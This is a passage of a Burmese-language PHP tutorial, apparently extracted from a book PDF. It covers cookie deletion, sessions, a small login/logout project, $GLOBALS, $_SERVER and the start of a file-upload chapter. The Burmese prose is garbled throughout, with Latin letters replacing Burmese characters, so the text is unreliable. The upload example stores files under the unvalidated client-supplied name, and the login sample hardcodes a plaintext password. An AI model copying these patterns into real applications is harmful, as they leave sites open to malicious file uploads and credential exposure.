လုိအပ်လုိ ့Cookie တန်oုိးကြေတွ ပယ်oျက်လုိရင်ကြေတာ့ အခုလုိပယ်oျက်နိုင်ပါတယ်။

setcookie("name", "", time() - 1);

သက်တမ်းကို  Minus  နဲ့ကြေပးလုိက်gခင်းအားgoင့်  သက်တမ်းကုန်ပြပီးကြေနပြပီဆိုတဲ့  အဓိပ္ပါယ်သက်ကြေရာက်ကြေနလုိ့
Browser က Cookie ကို ပယ်oျက်လုိက်မှာပဲgoစ်ပါတယ်။
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Sessions
Cookie  နဲ့  သကြေyာသyာဝ ဆင်တူပြပီး  အလုပ်လုပ်ပံုကွဲgပားတဲ့  Session  လုိ့ကြေခါ်တဲ့နည်းပညာလည်း ရှိပါ
ကြေသးတယ်။ Cookie Data ကြေတွဟာ Web Browser နဲ့အတူသိမ်းဆည်းတဲ့ Data ကြေတွgoစ်ပြပီး Session Data
ကိုကြေတာ့ Web Server နဲ့အတူ သိမ်းပါတယ်။ ဒီလုိကြေရးရပါတယ် –

 PHP 

<?php

session_start();

$_SESSION['user'] = 'Tom';

ဒါဟာ  user=Tom ဆိုတဲ့  Session  Data  တစ်ခုကို  Web  Server  မှာ  သိမ်းလုိက်တာပါ။
session_start() Function  က Session  ရှိမရှိစစ်ပြပီး ရှိရင်သံုးကြေပးပါတယ်။ မရှိရင် အသစ်ကြေဆာက်
ကြေပးပါတယ်။  အ့ဲဒီလုိ  session_start() ကို  Run  ပြပီးပြပီဆိုရင်  $_SESSION Superglobal  ကကြေန
တစ်ဆင့် သိမ်းချင်တဲ့  Data  ကြေတွ သိမ်းလုိရ့ပြပီgoစ်သလုိ သိမ်းထားတဲ့  Data  ကြေတွကိုလည်း အသံုးgပုလုိရ့ပြပီ
goစ်ပါတယ်။ 

Session တန်oုိးတစ်ခုသိမ်းလုိက်တဲ့အခါ PHP က Session ID တစ်ခုကို အလုိအကြေလျှာက် Auto Generate
လုပ်ပြပီး PHPSESSID အမည်နဲ့ Cookie Data ကိုgပန်ကြေပးပါတယ်။ ဒါကြေeကာင့် Browser က PHPSESSID
ကို  Cookie  Data  အကြေနနဲ့  သူ့yက်မှာ  သိမ်းကြေပးရပါတယ်။  yာအဓိပ္ပါယ်လဲဆိုကြေတာ့၊  Data    ကို    Server  
yက်မှာ    Session   အကြေနနဲ့ သိမ်းထားပြပီး၊ အ့ဲဒီလုိသိမ်းထားတဲ့    Data   ကို ယူသံုးoုိအ့တွက် လုိအပ်တဲ့    ID    ကို  
Browser    yက်မှာ သိမ်းကြေပးလုိက်ရတဲ့သကြေyာပဲ goစ်ပါတယ်  ။ ဒီ  Session ID  မပါရင်  Session Data  ကို
အသုံးgပုခွင့်ကြေပးမှာ မဟုတ်လုိ့  Session  ထဲမှာ သိမ်းထားတဲ့  Data  ကြေတွဟာ အထုိက်အကြေလျှာက် လံုခြခံုမှုရှိ
တယ်လုိ့ ဆိုနိုင်ပါတယ်။ ဒီ Session ID ကို အတုလုပ်oုိဆ့ိုတာ မလွယ်ပါyူး။ ဒါကြေပမယ့် ID အစစ်ကို ခိုးယူ
တဲ့နည်းကြေတွကြေတာ့ ရှိကြေနပါတယ်။ ဒါကြေeကာင့် အထုိက်အကြေလျှာက် လံုခြခံုမှုရှိကြေပမယ့် အgပည့်အဝလုံခြခံုတယ်လုိ့
တစ်ထစ်ချ မမှတ်သင့်တာကိုကြေတာ့ သတိgပုပါ။

Session မှာကြေတာ့ Cookie လုိ့ Expire Time ကြေတွyာကြေတွ မရှိပါyူး။ ဒါကြေeကာင့် သက်တမ်းကို သတ်မှတ်ပြပီး
သုံးoုိရ့ည်ရွယ်တာ မဟုတ်yဲ လက်ရှိ  Browser oွင့်ထားစဉ်ကာလ ခဏသိမ်းပြပီးသုံးoုိ့သာ ရည်ရွယ်တာgoစ်
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ပါတယ်။  Session  ရဲ့ထူးgခားချက်က  Array  ကြေတွ  Object  ကြေတွကိုပါ  သိမ်းလုိရ့gခင်းgoစ်ပါတယ်။ ရကြေအာင်
သိမ်းမယ်ဆိုရင် ရနိုင်ကြေပမယ့် Cookie ရဲ့သကြေyာကကြေတာ့ ရုိးရုိး Text ကြေတွကိုသာ သိမ်းoုိ့goစ်ပါတယ်။

သိမ်းထားတဲ့ Session Data ကြေတွကို gပန်oျက်ချင်ရင် ဒီလုိgပန်oျက်လုိရ့ပါတယ်။

 PHP 

<?php

session_start();

unset( $_SESSION['user'] );

session_start() နဲ့ ရိှကြေနတဲ့  Session ကိုကြေခါ်ယူလုိက်ပြပီး  unset Statement နဲ့ ကိုယ်oျက်ချင်တဲ့
Session တန်oုိးကို oျက်ကြေပးလုိက်တာgoစ်ပါတယ်။

Sample Project
အခုကြေလ့လာထားတဲ့  Request  Data  စီမံပုံ  Session  စီမံပံုတိုက့ို  လက်ကြေတွ့စမ်းသပ်ရင်း  ကြေလ့လာနိုင်oုိ့
အတွက် နမူနာပကြေရာင်္ဂျက်ကြေလး တစ်ခုကြေလာက် လုပ်eကည့်ချင်ပါတယ်။ ရှိရမယ့် ပကြေရာင်္ဂျက်oုိဒါoဲွ့စည်းပံုက
ဒီလုိပါ။

project/
├── css/
│     └── bootstrap.min.css
│
├── _actions/
│     ├── login.php
│     └── logout.php
│
├── index.php
├── register.php
└── profile.php

ပကြေရာင်္ဂျက်oုိဒါအမည်ကို အဆန်းအgပားကြေတွ ကြေပးမကြေနကြေတာ့yဲ project လုိပဲ့ ကြေပးထားပါတယ်။ အထဲမှာ
css oုိဒါရှိပြပီး css oုိဒါထဲမှာ bootstrap.min.css oုိင် ရှိကြေနပါတယ်။ ကြေရှ့ဆက်ကြေoာ်gပတဲ့ နမူနာကြေတွ
မှာ Bootstrap CSS Framework ကို ထည့်သွင်း အသုံးgပုပြပီး ဆက်လက်ကြေoာ်gပသွားမှာပါ။ 
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ပကြေရာင်္ဂျက်oုိဒါထဲမှာ _actions ဆိုတဲ့အမည်နဲ့ oုိဒါတစ်ခုလဲ ရှိပါကြေသးတယ်။ ပကြေရာင်္ဂျက်oုိဒါရဲ့ oဲွ့စည်းပံု
ပုိစနစ်ကျသွားကြေအာင် oုိင်ကြေတွကို အမျ ို းအစား နှစ်မျ ို းခွဲထားချင်လုိပ့ါ။  User တိုက်ရုိက်ထိကြေတွ့စရာ မလုိတဲ့
ကုဒ်oုိင်ကြေတွကို  _actions oုိဒါထဲမှာထားပြပီး၊  User  တိုက်ရုိက်ထိကြေတွ့oုိလုိ့တဲ့  ကုဒ်oုိင်ကြေတွကို  အgပင် ပ
ကြေရာင်္ဂျက်oုိဒါထဲမှာပဲ  ထားချင်တာပါ။  _actions oုိဒါထဲမှာ  login.php နဲ့  logout.php တိုက့ို
တည်ကြေဆာက်ပြပီး အgပင်ပကြေရာင်္ဂျက်oုိဒါထဲမှာ index.php, register.php နဲ့ profile.php တို့
ကို ဆက်လက်တည်ကြေဆာက်ကြေပးပါ။ ဒီoုိင်ကြေတွကကြေတာ့ ကိုယ့်yာသာ တည်ကြေဆာက်ရမယ့်oုိင်ကြေတွပါ။ အထဲ
မှာ ကုဒ်နမူနာကြေတွ ဆက်လက် ကြေရးသားသွားeကမှာ goစ်ပါတယ်။ 

လုပ်ချင်တာက  profile.php မှာ  User Profile  ရှိကြေနပြပီး  Login  ဝင်ထားမှသာ အ့ဲဒီ  Profile  ကို  ဝင်
eကည့်ခွင့် ရှိကြေစချင်တာပါ။ ဒါကြေeကာင့် profile.php မှာ အခုလုိ ကြေရးကြေပးပါ။

 PHP 

<?php

    session_start();

    if(!isset($_SESSION['user'])) {
        header('location: index.php');
        exit();
    }

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <title>Profile</title>
    <link rel="stylesheet" href="css/bootstrap.min.css">
</head>
<body>
    <div class="container mt-5">
        <h1 class="mb-3">John Doe (Manager)</h1>
        <ul class="list-group">
            <li class="list-group-item">
                <b>Email:</b> john.doe@gmail.com
            </li>
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            <li class="list-group-item">
                <b>Phone:</b> (09) 243 867 645
            </li>
            <li class="list-group-item">
                <b>Address:</b> No. 321, Main Street, West City
            </li>
        </ul>
        <br>

        <a href="_actions/logout.php">Logout</a>
    </div>
</body>
</html>

ဒီအဆင့်မှာ  ကြေအာက်ပုိင်းက  HTML  ကြေတွက  သိပ်အကြေရးမကြကီးကြေသးပါyူး။  gပစရာရှိကြေအာင်သာ  နမူနာ
အချက်အလက်တစ်ချ ို ့ ထည့်ထားတာပါ။ အကြေရးကြကီးတာက အကြေပါ်ဆံုးက PHP နဲ့ ကြေရးထားတဲ့အပုိင်း goစ်ပါ
တယ်။

session_start() ကို  Run ထားတဲ့အတွက် Session Data ကြေတွကို အသုံးgပုလုိရ့ပါပြပီ။  Session ထဲ
မှာ user ဆိုတဲ့ Data ရှိမရှိစစ်ပြပီး မရှိရင် ကျန်တဲ့အလုပ်ကြေတွ ဆက်မလုပ်ကြေတာ့yဲ index.php ကို သွား
လုိက်မှာပါ။  header() Function  ကိုသုံးပြပီး  location: index.php ဆိုတဲ့  Response Header
ကို gပန်ကြေပးလုိက်တာပါ။  PHP မှာ  Redirect  လုိ့ကြေခါ်တဲ့ တစ်ကြေနရာရာကို သွားကြေစချင်ရင် အ့ဲဒီလုိ ကြေရးကြေပးရ
တာပါ။  ဒီကြေနရာမှာ  မeကာမeကာကြေတွ့ရတဲ့  အမှားကကြေတာ့  location  : လုိ့ကြေရးမိတတ်eကတာပါပဲ။
Colon သကြေက[တနဲ ့location ရဲ့eကားထဲမှာ Space   ထည့်လုိ့မရပါyူး  ။ တွဲကြေရးကြေပးရပါတယ်။

နမူနာမှာပါတဲ့  exit() Function  ကိုလည်း သတိgပုပါ။  die() ကိုလည်း  exit() အစား သုံးနိုင်ပါ
တယ်။ အ့ဲဒီ Function ကြေတွကိုကြေတွ့ရင် PHP ကလုပ်ကြေနတဲ့အလုပ်ကြေတွကို ရပ်လုိက်မှာပါ။ ဆက်မလုပ်ကြေတာ့
ပါyူး။  exit() မပါရင်လည်း ကြေရးထားတဲ့အတိုင်း  index.php ကိုသွားမှာပါပဲ။ ဒါကြေပမယ့် ကြေအာက်က
ကျန်တဲ့အလုပ်ကြေတွ အကုနပ်ြပီးကြေတာ့မှ သွားမှာပါ။ ဒီလုိမgoစ်ကြေစချင်တဲ့အတွက် exit() ကို ထည့်တာပါ။
အခုကြေန  profile.php ကို သွားeကည့်လုိက်ရင်  index.php ကိုအလုိအကြေလျှာက် ကြေရာက်သွားတာကို
ကြေတွ့ ရမှာ goစ်ပါတယ်။ Session ထဲမှာ User Data မရှိလုိ့ Profile ကို eကည့်ခွင့်မကြေပးတာပါ။ စမ်းeကည့်နိုင်
ပါတယ်။
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localhost/project/profile.php

index.php မှာအခုလုိကြေရးသားကြေပးပါ။

 PHP 

<!DOCTYPE html>
<html>
<head>
    <title>Home</title>
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/bootstrap.min.css">

    <style>
        .wrap {
            width: 100%;
            max-width: 400px;
            margin: 40px auto;
        }
    </style>
</head>
<body class="text-center">
    <div class="wrap">
        <h1 class="h3 mb-3">Login</h1>

        <?php if ( isset($_GET['incorrect']) ) : ?>
            <div class="alert alert-warning">
                Incorrect Email or Password
            </div>
        <?php endif ?>

        <form action="_actions/login.php" method="post">
            <input 
                type="email" name="email" 
                class="form-control mb-2" 
                placeholder="Email" required
            >
            <input 
                type="password" name="password" 
                class="form-control mb-2" 
                placeholder="Password" required
            >

            <button type="submit" 
class="w-100 btn btn-lg btn-primary">

                Login
            </button>
        </form>
        <br>
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        <a href="register.php">Register</a>
    </div>
</body>
</html>

ကြေရးထားတဲ့ကုဒ်မှာ  HTML Form ကိုအရင်eကည့်ပါ။  Form ရဲ့  action မှာ  _actions/login.php
လုိ့ကြေပးထားတဲ့အတွက် ဒီ  Form ကကြေန Data  ကြေတွ ပုိလုိ့က်ရင်  _actions oုိဒါထဲမှာရှိတဲ့  login.php
ကိုကြေရာက်သွားမှာပါ။  method ကိုကြေတာ့  post လုိ့ကြေပးထားတဲ့အတွက်  ပုိလုိ့က်တဲ့  Data  ကြေတဟွာ
$_POST နဲ့ $_REQUEST Superglobal ကြေတွထဲမှာ ရှိကြေနမှာပါ။ လုိအပ်တဲ့ CSS ကုဒ်တစ်ချ ို ့နဲ့ Bootstrap
Class ကြေတွ ထည့်ကြေပးထားတဲ့အတွက် ဒီ Form ရဲ့ ကြေoာ်gပပုံက အခုလုိgoစ်မှာပါ။

စမ်းသပ်အသုံးgပုနိုင်oုိအ့တွက် ဆက်လက်ပြပီးကြေတာ့ _actions/login.php မှာ ဒီလုိကြေရးကြေပးပါ။
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 PHP 

<?php

session_start();

$email = $_POST['email'];

$password = $_POST['password'];

if ($email === 'john.doe@gmail.com' and $password === 'jd123pwd') {

    $_SESSION['user'] = ['username' => 'John Doe'];

    header('location: ../profile.php');

} else {

    header('location: ../index.php?incorrect=1');

}

session_start() ကို  Run  ထားတဲ့အတွက်  Session Data  ကြေတွစီမံလုိရ့ပါပြပီ။ ပြပီးတဲ့အခါ  $_POST
Superglobal  ထဲက တစ်oက်  Form ကကြေနကြေပးပုိလုိ့က်လုိ့ ကြေရာက်ရှိကြေနတဲ့  email နဲ့  password တိုက့ို
ရယူပါတယ်။ ပြပီးတဲ့အခါ email က john.doe@gmail.com နဲ့ password က jd123pwd မှန်ကန်gခင်းရှိမရှိ
စစ်ထားပါတယ်။ မှန်ရင် Session ထဲမှာ User Data ကို သိမ်းလုိက်ပြပီး profile.php ကို သွားခိုင်းလုိက်
ပါတယ်။ မမှန်ရင်ကြေတာ့  Login Form  ရှိရာ  index.php ကို  URL Query  တန်oုိး  incorrect=1 နဲ့
gပန်သွားခိုင်းလုိက်ပါတယ်။ လက်ရှိအလုပ်လုပ်ကြေနတာက _actions oုိဒါထဲမှာ goစ်တဲ့အတွက် Location
ကြေပးတဲ့ကြေနရာမှာ ../ နဲ့ အgပင်oုိဒါတစ်ဆင့် gပန်ထွက်ကြေပးရတာကို သတိgပုပါ။

ကြေစာကြေစာက ကြေရးခဲ့တဲ့  index.php ကိုgပန်ကြေလ့လာeကည့်ရင် URL Query မှာ incorrect ဆိုတဲ့  Data
ပါမပါ  စစ်ပြပီး  ပါကြေနရင်  Error  Message  gပတဲ့ကုဒ်ထည့်ကြေရးထားတာကို  ကြေတွ့ရနိုင်ပါတယ်။  ဒါကြေeကာင့်
email နဲ ့password မမှန်တဲ့အခါ Error Message ကို Login Form နဲ့အတူ အခုလုိ ကြေတွ့gမင်ရမှာပါ။
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စမ်းeကည့်လုိရ့ပါပြပီ။  email နဲ့  password မှန်ကြေအာင်ကြေပးလုိက်ရင်  profile.php ကိုကြေရာက်သွားမှာ
goစ်လုိ ့အခုလုိရလဒ်ကို ရရှိမှာပဲ goစ်ပါတယ်။
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ဒီတစ်ခါကြေတာ့ profile.php ကို gပနိုင်သွားပါပြပီ။  Session ထဲမှာ  User Data  ရှိသွားပြပီမုိလုိ့ပ့ါ။  Profile
ရဲ့ကြေအာက်နားမှာ  _actions oုိဒါထဲက logout.php နဲခ့ျတိ်ကြေပးထားတဲ့  Logout Link  လည်းပါဝင်ပါ
တယ်။ ဒါကြေeကာင့်  Logout  gပန်လုပ်ချင်ရင် လုပ်လုိရ့ကြေအာင်  _actions/logout.php မှာ အခုလုိကြေရး
ကြေပးပါ။

 PHP 

<?php

session_start();
unset( $_SESSION['user'] );

header('location: ../index.php');

Session ထဲက User Data ကိုoျက်ပြပီး  index.php ကို gပန်သွားခိုင်းလုိက်တာပါ။ Session ထဲက Data
ကို oျက်လုိက်တယ်ဆိုတာဟာ Logout လုပ်လုိက်တဲ့သကြေyာပါပဲ။

အခုဆိုရင်  အကြေgခခံ  Login/Logout  လုပ်ကြေဆာင်ချက်ကြေလးတစ်ခုကို  ရရှိသွားပြပီပဲgoစ်ပါတယ်။  Register
လုပ်ကြေဆာင်ချက်ကြေတာ့ မထည့်ရကြေသးပါyူး။ ဒီကြေနရာမှာ ထည့်လုိမ့ရကြေသးပါyူး။  Database  နဲပ့က်သက်တဲ့
အကြေeကာင်းအရာကြေတွ  ကြေgပာပြပီးမှ  ဆက်ထည့်eကပါမယ်။။  ဒါကြေeကာင့်  ဒီပကြေရာင်္ဂျက်ကုဒ်ကို  သိမ်းထားပါ။
ကြေနာက်အခန်းကြေတွမှာ လုိအပ်တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွ ဆက်လက် goည့်စွက်သွားမှာမုိ့လုိ့ပါ။

$GLOBALS & $_SERVERS
Superglobal  ကြေတွအကြေeကာင်း  ကြေgပာရင်းနဲ့  $GLOBALS နဲ့  $_SERVER Superglobal  ကြေတွကိုလည်း
ထည့်သွင်းမှတ်သားသင့်ပါတယ်။  $GLOBALS Superglobal  ဟာ  တgခား  Superglobal  ကြေတွမှာလုိ့
Underscore   နဲ့ မစတာကို   သတိgပုပါ။ သူ့ထဲမှာ $_GET တို့ $_POST တိုလုိ့ တgခား Superglobal ကြေတွနဲ့
ကိုယ်ကြေeကညာ အသုံးgပုထားတဲ့  Global Variable  ကြေတွ အပါအဝင် ရှိရှိသမျှ  Global Variable  အားလုံးရဲ့
တန်oုိးကြေတွ သူ့ထဲမှာ ရှိကြေနမှာပါ။ ပံုမှန်ဆိုရင်  Function  ကြေတွထဲမှာ  global Keyword  ကိုသုံးပြပီး  Global
Variable  ကိုရယူအသုံးgပုရတယ်လုိ့  အထက်မှာ  ကြေလ့လာခဲ့eကပါတယ်။  အကယ်၍  အ့ဲဒီလုိမသံုးyဲ
$GLOBALS Superglobal ထဲကကြေန တိုက်ရုိက်ရယူပြပီး သုံးမယ်ဆိုရင်လည်း ရနိုင်ပါတယ်။ ဥပမာ - 
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 PHP 

<?php

$name = "Alice";

function hello() {
echo "Hello " . $GLOBALS['name'];

}

hello(); // Hello Alice

global Statement  နဲ့  Function  ထဲမှာ  ကြေeကညာမထားကြေပမယ့်  Global  Variable  $name ကို
$GLOBALS ကကြေနတစ်ဆင့် ရယူအသံုးgပုလုိ ့ရနိုင်တာကို ကြေတွ့gမင်ရgခင်း goစ်ပါတယ်။

$_SERVER Superglobal  ကလည်း  ကြေတာ်ကြေတာ်အသုံးဝင်ပါတယ်။  သူ့ထဲမှာ  User  Agent,  Request
Method, Request URI, Query String  စသည်goင့်  Request/Response  နဲပ့က်သက်တဲ့အချက်အလက်
ကြေတွ အကုန်ရှိကြေနတာပါ။ ပါဝင်တဲ့ အချက်အလက်ကြေတွကို သိချင်ရင် print_r( $_SERVER ) ကို Run
eကည့်နိုင်ပါတယ်။ ဒီလုိရလဒ်မျ ို းကို gပန်ရပါလိမ့်မယ်။

Array
(

[HTTP_HOST] => localhost
[HTTP_USER_AGENT] => Mozilla/5.0
[HTTP_COOKIE] => PHPSESSID=cgnblv9srsrnro3pjj4m428qi6
[SERVER_SOFTWARE] => Apache/2.4.46 (Unix)
[SERVER_NAME] => localhost
[SERVER_ADDR] => ::1
[SERVER_PORT] => 80
[REMOTE_ADDR] => ::1
[DOCUMENT_ROOT] => /opt/lampp/htdocs
[CONTEXT_DOCUMENT_ROOT] => /opt/lampp/htdocs
[SCRIPT_FILENAME] => /opt/lampp/htdocs/app/a.php
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => GET
[QUERY_STRING] => 
[REQUEST_URI] => /app/a.php
[PHP_SELF] => /app/a.php
[REQUEST_TIME_FLOAT] => 1611046916.4418
[REQUEST_TIME] => 1611046916

)
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အမှန်တစ်ကယ်ရမယ့် ရလဒ်ကို အနည်းငယ်ချံု့ပြပီး ကြေoာ်gပလုိက်တာပါ။  Request/Response နဲ့ ပက်သက်
တဲ့ အချက်အလက်ကြေတွအgပင် Server   ရဲ့   Host Name, IP Address, Client   ရဲ့   IP Address,   လက်ရှိအလုပ်  
လုပ်ကြေနတဲ့  ကုဒ်oုိင်ရဲ့တည်ကြေနရာ စတဲ့အချက်အလက်မျ ို းကြေတွလည်း  ရှိကြေနလုိ့  ကိုယ့်ပကြေရာင်္ဂျက်မှာ  ဒီလုိ
အချက်အလက်ကြေတွ လုိအပ်လာရင် $_SERVER Superglobal ကကြေန အသင့်ယူသံုးလုိက်ယုံပါပဲ။ 
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အခန်း (၃၇) – PHP File Upload

File Upload ဆိုတာဟာ ပြပီးခဲ့တဲ့အခန်းမှာ Request Data ကြေတွစီမံပုံအကြေeကာင်း ကြေgပာရင်းနဲ့ တစ်ခါထဲ ကြေgပာ
ရမယ့် အကြေeကာင်းအရာပါ။  ကြေရာသွားမှာစိုးလုိသ့ာ  အခုလုိ  တစ်ခန်းသပ်သပ်ခွဲပြပီးကြေတာ့ ကြေoာ်gပလုိက်တာပါ။
Request  နဲအ့တူပါဝင်လာမယ့်  Data  ကြေတဟွာ  URL Query  အကြေနနဲပဲ့  လာလာ၊  Form  ကကြေနပဲလာလာ
အများအားgoင့်  Plain Text Data  ကြေတွgoစ်eကပါတယ်။ အ့ဲဒီလုိ  Text Data  ကြေတွအgပင်  Request  နဲအ့တူ
Binary Data  ကြေတွလည်း ပါလာနိုင်ပါတယ်။ လွယ်လွယ်ကြေgပာရရင် oုိင်ကြေတွလည်း  Request  နဲအ့တူ ပါဝင်
လာနိုင်ပါတယ်။ အ့ဲဒီလုိ ပါဝင်လာတဲ့အခါ PHP နဲ့ yယ်လုိစီမံရသလဲဆိုတာကို ကြေလ့လာeကမှာပါ။

HTML Input  ကြေတွထဲမှာ  <input type="file"> ဆိုတာ ရှိပါတယ်။ ဒီ  Input  ရဲ့အကူအညီနဲ့  User
က ကြေပးပုိ့လုိတဲ့  oုိင်ကြေတွကို  ကြေရွးချယ်လုိရ့ပါတယ်။  JavaScript  ရဲ့အကူအညီနဲ့  ကြေရွးလုိက်တဲ့oုိင်ကို  gပကြေပး
တာ၊  oုိင်အရွယ်အစား  စစ်ကြေပးတာကြေတွ  လုပ်လုိရ့ကြေပမယ့်  တစ်ကယ့်အကြေgခခံကကြေတာ့  yာမှဆန်းဆန်းgပား
gပား မလုိပါyူး။ <input type="file"> ကိုသုံးလုိက်ရင် oုိင်ကြေတွကြေရွးပြပီး ပုိ့လုိရ့သွားပါပြပီ။ စမ်းeကည့်
နိုင်oုိ့  ဒီလုိ  Form  ကြေလးပါဝင်တဲ့  HTML Document  တစ်ခုကို  htdocs ကြေအာက်မှာ နှစ်သက်ရာအမည်နဲ့
ကြေရးသားeကည့်နိုင်ပါတယ်။

<form 
    action="upload.php"
    method="post" 
    enctype="multipart/form-data"
>
    <input type="file" name="photo">
    <button type="submit">Send</button>
</form>
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ဒီကြေနရာမှာ သတိgပုစရာကြေလးနှစ်ချက်ရှိပါတယ်။  Form  ရဲ့  method မှာ  get နဲ့  post နှစ်မျ ို းရှိကြေပမယ့်
File Input   ကို အသုံးgပုလုိရင်   post     မှသာ အလုပ်လုပ်ပါတယ်  ။ get နဲဆ့ိုရင် အလုပ်မလုပ်ပါyူး။ ကြေနာက်
တစ်ချက်ကကြေတာ့ နမူနာမှာကြေတွ့ရသလုိ  enctype     လုိ့  ကြေခါ်တဲ့    Attribute    တစ်ခု    Form    မှာ  မgoစ်မကြေန  

ပါဝင်oုိ့ လုိအပ်ပါတယ်။ multipart/form-data အတိအကျ goစ်ရပါတယ်။ ဒီ Attribute က အပုိင်း
လုိင်းခွဲပြပီး  Encode လုပ်ထားတဲ့  Binary Data ကြေတွ ကြေပးပုိပ့ါဝင်ကြေeကာင်း  Server  ကို အသိကြေပးတဲ့ သကြေyာ
ပါ။ File Input အလုပ်မလုပ်ရင် အများအားgoင့် မှားeကတာ enctype Attribute မပါဝင်gခင်း (သုိ့မဟုတ်)
ပါကြေတာ့ပါတယ်၊ သူ့ရဲ့  Value goစ်တဲ့  multipart/form-data ကြေရးထားတာ စာလံုးကြေပါင်းမှားကြေနတာ၊
မgပည့်စံုတာတို့ကြေeကာင့်  goစ်တတ်တာကို  အများအားgoင့်  ကြေတွ့ရပါတယ်။  ဒါကြေeကာင့်  အထူးသတိgပုပြပီး
မှန်ကန်ကြေအာင် ထည့်သွင်းကြေပးoုိ့ လုိအပ်ပါတယ်။

ပုံမှန်အားgoင့်  PHP  က  Method  post နဲလ့ာတဲ့  Request  Data  ကြေတွကို  $_POST Superglobal  နဲ့
လက်ခံစီမံပါတယ်။  ဒါကြေပမယ့်  File  Input  ကကြေနလာတဲ့  oုိင်နဲသ့က်ဆိုင်တဲ့  အချက်အလက်ကြေတွကို
$_FILES လုိ့ကြေခါ်တဲ့ သီးgခား Superglobal နဲ ့သီးgခားခွဲပြပီးကြေတာ့ လက်ခံစီမံပါတယ်။ ကြေစာကြေစာက Form န
မူနာကုဒ်မှာ  action ကို  upload.php လုိ့ကြေပးထားတဲ့အတွက်  upload.php ဆိုတဲ့oုိင်ထဲမှာ  ဒီလုိ
ကြေရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 PHP 

<?php

print_r( $_FILES );

ပြပီးတဲ့အခါ  ကြေစာကြေစာကကြေရးထားတဲ့  Form  ကကြေနတစ်ဆင့်  oုိင်တစ်ခုကို  ကြေရးွချယ်ကြေပးပုိလုိ့က်ရင်
upload.php ကိုကြေရာက်သွားပြပီး အခုလုိရလဒ်ကို ကြေတွ့gမင်ရမှာပဲ goစ်ပါတယ်။
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Array
(
    [photo] => Array
        (
            [name] => profile.jpg
            [type] => image/jpeg
            [tmp_name] => /path/to/temp/phpfHbCev
            [error] => 0
            [size] => 210446
        )

)

PHP  က  $_FILES Superglobal  ထဲမှာ  လက်ခံထားကြေပးတဲ့  ကြေပးပုိလ့ာတဲ့  oုိင်နဲပ့က်သက်တဲ့
အချက်အလက်ကြေတွကို  ကြေတွ့gမင်ရgခင်းပဲ  goစ်ပါတယ်။  အချက်အလက်  (၅)  ခုပါဝင်တဲ့  Array  တစ်ခုပါ။
name, type, tmp_name, error နဲ့ size တို့goစ်ပါတယ်။ name ကကြေတာ့ oုိင်ရဲ့မူလအမည်ပါ။
type ကကြေတာ့  MIME Type  ကြေခါ် oုိင်အမျ ို းအစားပါ။  tmp_name     ကကြေတာ့ အကြေရးအကြကီးဆံုးပါပဲ  ။ ကြေပးပုိ့
လုိက်တဲ့ oုိင်ကို လက်ခံသိမ်းဆည်းထားတဲ့ ကြေနရာပါ။ ဒါကြေeကာင့် ဒီရလဒ်ကို ကြေတွ့gမင်ရရင် Request Data နဲ့
ပါလာတဲ့  oုိင်ကို  လက်ခံသိမ်းဆည်းထားပြပီးပြပီ  ဆိုတဲ့သကြေyာပါပဲ။  error ကကြေတာ့  0  ပဲgoစ်ရမှာပါ။
အကြေeကာင်းအမျ ို းမျ ို းကြေeကာင့်  oုိင်ပျက်ကြေနရင်  (သုိ့မဟုတ်)  အgပည့်အစံုမကြေရာက်ရင်  သက်ဆိုင်ရာ  error
တန်oုိးရှိကြေနမှာပါ။  yယ်လုိတန်oုိး  ရှိကြေနသလဲဆိုတာ သိပ်အကြေရးမကြကီးပါyူး။  error မှာတန်oုိးတစ်ခုခုရှိ
ကြေနရင် အ့ဲဒီoုိင်ကို လက်ခံအသံုးgပုနိုင်gခင်း မရှိတဲ့သကြေyာပါပဲ။ ကြေနာက်ဆံုး size ကကြေတာ့ oုိင်အရွယ်အစား
ကို Byte နဲ့ကြေoာ်gပကြေနgခင်းပဲ goစ်ပါတယ်။

ဒီအချက်အလက်ကြေတွ  ကြေတွ့ gမင်ရပြပီဆိုရင်  File  ကြေပးပုိ့gခင်း၊  လက်ခံgခင်းကိစ္စ  ကြေအာင်gမင်သွားပါပြပီ။  ကြေနာက်
တစ်ဆင့်အကြေနနဲ့  လက်ခံရရှိထားတဲ့oုိင်ကို  ကိုယ်လုိချင်တဲ့ကြေနရာမှာ ကြေရ£့သိမ်းထားကြေပးရမှာ goစ်ပါတယ်။ ဒီ
အတွက် upload.php ထဲကကုဒ်ကို အခုလုိ gပင်ကြေရးနိုင်ပါတယ်။
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 PHP 

<?php

print_r( $_FILES );

$name = $_FILES['photo']['name'];
$tmp = $_FILES['photo']['tmp_name'];

move_uploaded_file($tmp, $name);

လက်ခံရရှိထားတဲ့  oုိင်အချက်အလက်ကြေတွထဲက မူရင်းအမည်  name နဲ့  လက်ရှိတည်ကြေနရာ  tmp_name
တိုက့ို  ထုတ်ယူလုိက်တာပါ။  ပြပီးတဲ့အခါ  move_uploaded_file() Function  နဲ့  ကြေနရာကြေရ£့သိမ်း
ကြေပးလုိက်ပါတယ်။ move_uploaded_file() အတွက် လက်ရှိတည်ကြေနရာနဲ့ သိမ်းလုိတဲ့တည်ကြေနရာနဲ့
oုိင်အမည်တိုက့ို  ကြေပးရတာပါ။  လက်ရှိတည်ကြေနရာအကြေနနဲ့  tmp_name ကကြေနရတဲ့တန်oုိးကို  ကြေပးလုိက်ပါ
တယ်။ သိမ်းလုိတဲ့တည်ကြေနရာအgoစ်  Path  လမ်းကြေeကာင်းကို  ကြေပးရမှာပါ။  နမူနာမှာ ကြေပးမထားပါyူး။  oုိင်
အမည်အကြေနနဲ့  မူရင်းအမည်ကိုပဲ  gပန်သုံးထားပါတယ်။  တည်ကြေနရာမကြေပးတဲ့အတွက်  လက်ရှိ
upload.php ရှိကြေနတဲ့ oုိဒါထဲမှာပဲ oုိင်ကို ကြေရ£့ပြပီးမူရင်းအမည်နဲ့ သိမ်းကြေပးသွားမှာပဲ goစ်ပါတယ်။

ဒီကြေနရာမှာ  ကြေတွ့ရကြေလ့ရှတိဲ့gပဿနာကကြေတာ့  oုိဒါ  Permission  gပဿနာပါ။  Windows  ကြေတွမှာ  သိပ်
